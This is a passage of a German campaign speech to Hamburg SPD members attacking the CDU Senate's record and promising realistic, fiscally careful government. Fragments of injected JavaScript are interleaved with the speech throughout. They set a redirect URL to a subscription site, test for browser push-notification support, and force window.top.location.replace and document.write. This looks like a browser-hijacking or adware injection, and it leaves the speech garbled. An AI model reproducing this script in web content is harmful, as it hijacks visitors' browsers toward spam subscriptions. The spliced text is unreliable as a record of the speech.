Die Rede im Wortlaut:
Liebe Genossinnen und Genossen!
Am 20. Februar des nächsten Jahres finden in Hamburg Neuwahlen statt. Neun Jahre CDU-Regierung in Hamburg gehen dann zu Ende. Schwarz-Grün ist schon zu Ende.
Die Ursache für diese Entwicklung ist offensichtlich: die Hamburgerinnen und var rurl = 'https://subscribe.steersearch.com/?skipEmail=1&q=&tp1=2POQ7BC1G&tp2=humspm.com&tp3=lve&custom_tags=%7B%22merge_pid%22%3A%22%22%2C%22gcat%22%3A%22Computers%20%26%20Electronics%20%3E%20Software%20%3E%20Internet%20Software%22%7D'; Hamburger wollen endlich wieder ordentlich regiert werden. Das trauen Sie denen, die heute regieren, nicht mehr zu. Und das erwarten sie von uns. Diese Erwartungen werden wir nicht enttäuschen.
Die Bürgerinnen und Bürger wollen wissen, wo es lang gehen soll. Sie wollen nicht die schon fast rituellen Bekenntnisse des Bürgermeisters hören, einen Fehler gemacht zu haben. Gefolgt stets von der Ansage nunmehr alles besser machen zu wollen.
Das ging los mit der Berufung von Senatoren, deren Kompetenz weithin angezweifelt wurde.
Das setzte sich fort über das Desaster bei der Kulturpolitik, im Umgang mit Schauspielhaus, Bücherhallen und var _dfltmsg = '
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Sich für die Zeitschrift „Bunte“ im Hotel Vier Jahreszeiten wie ein Stadtmonarch abbilden zu lassen, war nach neuer Einsicht des Bürgermeisters ein Fehler.
Und den Herrn Frigge als Finanzsenator erneut ins Amt berufen zu haben, war auch ein Fehler. Und so weiter. Und so weiter.
Pragmatismus und var i = "chrome" in window && 'PushManager' in window && 'Notification' in window, Seriosität müssen wieder das Handeln des Hamburger Senates bestimmen. Das wünschen sich die Hamburgerinnen und Hamburger.
Das muss Folgen haben für die Senatspolitik, die wir verantworten wollen. Und es hat Folgen für das Regierungsprogramm, das wir vor der Wahl beschließen werden.
Wir wollen nur vorschlagen, was auch realistisch umgesetzt werden kann. Hamburg hat genug von nicht zu Ende gedachten Plänen.
Es geht um ein Programm für eine Regierung. Und es geht nicht um das Wünschbare, sondern um das Machbare.
Realistische Politik ist auch die Voraussetzung dafür, dass die Bürgerinnen und Bürger unserer Stadt wieder Vertrauen in die politischen Institutionen Hamburgs gewinnen. Vertrauen entsteht nur, wenn politische Versprechen eingehalten werden.
Es muss Schluss damit sein, dass die Bürgerinnen und Bürger, wenn sie einem Politiker zuhören, immer überlegen, wieviel sie davon abrechnen müssen. Darum muss für uns gelten: Was wir versprechen, das halten wir auch.
Sich auf das Machbare zu konzentrieren, heißt nicht auf Visionen zu verzichten. Wir wollen Hamburg ja nicht nur verwalten, sondern voranbringen. Das gilt auch in Zeiten finanzieller Restriktionen.
Es geht um einfache Grundsätze: Vernunft, Klarheit, Verlässlichkeit und o = /Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent) && 'PushManager' in window && 'Notification' in window; immer auch Gerechtigkeit.
Diese Grundsätze haben nicht nur wir, sondern auch die meisten Hamburgerinnen und Hamburger in den letzten Jahren sehr vermisst.
Aber jetzt erleben wir ein merkwürdiges Schauspiel. Die Grundsätze gelten bei der CDU nicht einmal für die Bewertung der eigenen Regierungsbilanz. In diesen Tagen verfolgen wir hektische Kurswechsel bei der CDU. Plötzlich ist falsch, was eben noch richtig war. Plötzlich ist richtig, was eben noch falsch war. Die CDU verspielt mit diesem Vorgehen, den Rest des Vertrauens, das ihr noch verblieben ist.
Die Bürgerinnen und Bürger Hamburgs müssen doch den Eindruck gewinnen, dass sie vom Senat und if(i || o) der CDU nicht ernst genommen werden. Und viele denken, dass, wer so plötzlich seine Haltungen wechselt, das auch in Zukunft tun wird.
Außerdem: Eine gewisse Beliebigkeit hat den Regierungsstil der CDU-Senate von Anfang an begleitet. Das lebt jetzt ein Herr in Rio, der erst ein gern gesehener Koalitionspartner war. Gut, dass er rausgeschmissen wurde. Schlecht, dass man erst so viel von ihm hielt. Wir haben das nicht vergessen.
Eins muss ich hier aber auch loswerden:
Ich glaube, ich verrate kein Geheimnis, wenn ich zugebe, dass die Hamburger SPD kein Ole von Beust-Fanclub ist. Auch kein heimlicher. Aber wie die Hamburger CDU mit ihrem ehemaligen Spitzenmann umgeht, das ist schäbig.
Peinlich finde ich es auch, wenn die CDU und ihr neuer Spitzenmann nun für alle Schwierigkeiten, die GAL in Haftung nehmen. Wir sind auch kein GAL-Fanclub. Aber so einfach kann man sich die Sache nicht machen. Die CDU-Senate haben schon vorher manches nicht auf die Reihe gekriegt.
Und das wissen in Hamburg auch alle. Das Desaster um die HSH Nordbank, die Kostenexplosion bei der Elbphilharmonie gehen alleine auf Kosten der CDU.
Hamburg hat nicht nur eine sozialdemokratische, sondern auch eine sozialliberale Tradition. Wer sich die Hamburger FDP und wer sich die deutsche FDP und ihren Vorsitzenden anschaut, der kommt nicht umhin festzustellen: Die Hamburger SPD ist auch die Alleinerbin dieser sozialliberalen Tradition. Ich fühle mich auf diese Tradition verpflichtet.
Wer von außen auf Hamburg schaut, stellt sich immer noch eine wirtschaftlich starke und window.top.location.replace(rurl); gleichwohl solidarische und else liberale Stadt vor. Das über Jahrzehnte ein solches Bild von Hamburg in den Köpfen der Bürgerinnen und Bürger Deutschlands entstanden ist, daran haben Generationen von Sozialdemokratinnen und document.write(_dfltmsg); Sozialdemokraten mitgewirkt.
Mich hat dieses Bild von Hamburg geprägt.
Meine Eltern stammen von hier. Ich bin hier aufgewachsen – abgesehen von den ersten Jahren als ich und meine beiden Brüder geboren wurden. Darauf wurde jüngst hingewiesen. Ich bin hier zur Schule gegangen, habe hier studiert und } catch(exception) { 13 Jahre als Anwalt gearbeitet. Ich bin hier in die SPD eingetreten. Und das wichtigste, ich habe mich hier unsterblich meine Frau verliebt.
So ist mein Hamburg. Und ich will, dass das Bild das in meinem Kopf und document.write("This page has moved, Click here to go there."); in der Vorstellung Vieler von Hamburg existiert, wieder mit dem Hamburg, in dem ich lebe, übereinstimmt. Hamburg soll wieder die wirtschaftlich starke, solidarische und liberale Stadt werden, die ich kenne.
Und darum will ich Hamburger Bürgermeister werden!
Und ich will die Erfahrungen für Hamburg einsetzen, die ich im Laufe meines Lebens bisher machen konnte: als Anwalt, als Abgeordneter im Deutschen Bundestag, als Senator, als Bundesminister.
Und ich will nach den Prinzipien handeln, die für eine gute Regierung unerlässlich sind: Vernunft, Klarheit, Verlässlichkeit und Gerechtigkeit gegenüber jedermann.
Damit das gelingt, brauchen wir ein starkes Votum für die SPD. Nur mit der Entscheidung der Bürgerinnen und Bürger dieser Stadt im Rücken, können wir gute Politik durchsetzen.
Es sieht danach aus, dass uns das gelingen kann. Nach den Umfragen dürfen wir auf über 40% der Stimmen hoffen. Das ist viel. Und wir müssen jetzt gemeinsam dafür sorgen, dass am Wahltag auch tatsächlich so viel Unterstützung für uns vorhanden ist.
Klar ist aber auch: Auch wenn das viele Stimmen sind, werden wir wohl einen Koalitionspartner benötigen. Und da haben wir unsere Präferenz schon lange deutlich gemacht. Das soll dann die GAL sein. Mit der sind wir auch nicht immer einig. Aber wir haben mit dieser Partei die meisten Schnittmengen.
Über eines sind sich die Bürgerinnen und Bürger Hamburgs ziemlich einig, wenn sie die Arbeit des CDU Senates bewerten: Die können nicht mit Geld umgehen.
Jeder weiß das an anderen Beispielen festzumachen. Kein Wunder, die Liste der Beispiele ist lang. Das Unverständnis für das Haushaltsgebaren der CDU Senate fassen die meisten mit den Worten zusammen: „…und dafür haben sie Geld!“
In den letzten Jahren, und nicht nur den schwarz-grünen Jahren, war der Umgang mit dem öffentlichen Geld fahrlässig. Der Hamburger Senat hat über die Jahre viele Milliarden mehr ausgegeben als eingenommen und den Grundsatz missachtet: Spare in der Zeit, dann hast du in der Not. Sparsamkeit ist immer angesagt, auch dann wenn die öffentlichen Einnahmen sprudeln. Wer sparsam ist, muss nicht alle paar Jahre ein Sparprogramm auflegen.
Wie sehr Hamburg ein strukturelles Problem im Haushalt hat, sehen wir gerade jetzt, wo die bessere wirtschaftliche Entwicklung uns auf höhere Steuereinnahmen hoffen lässt. Das strukturelle Defizit ist nicht verschwunden.
Wir müssen uns auf die Schuldenbremse im Grundgesetz einstellen. Am Ende der übernächsten Legislaturperiode der Hamburgischen Bürgerschaft darf Hamburg keine neuen Schulden mehr machen.
Das muss die Haushaltspolitik aber schon jetzt bestimmen. Wir können nicht weiter über unsere Verhältnisse leben und dann plötzlich Ausgaben zusammen streichen. Das hätte auf unser Gemeinwesen einen ähnlichen Effekt wie ein “kalter Entzug”.
Und deshalb bin ich auch dafür, dass wir eine Finanzplanung bis zum Ende der übernächsten Legislaturperiode entwickeln. Manches Projekt kann dann viel realistischer bewertet werden, als wenn Haushaltspolitik nach dem Motto gemacht wird, dass schon alles gut gehen wird. Wir wissen heute von ganzen Staaten, dass man sich darauf nicht verlassen kann.
Hamburg muss also zugleich den öffentlichen Haushalt konsolidieren und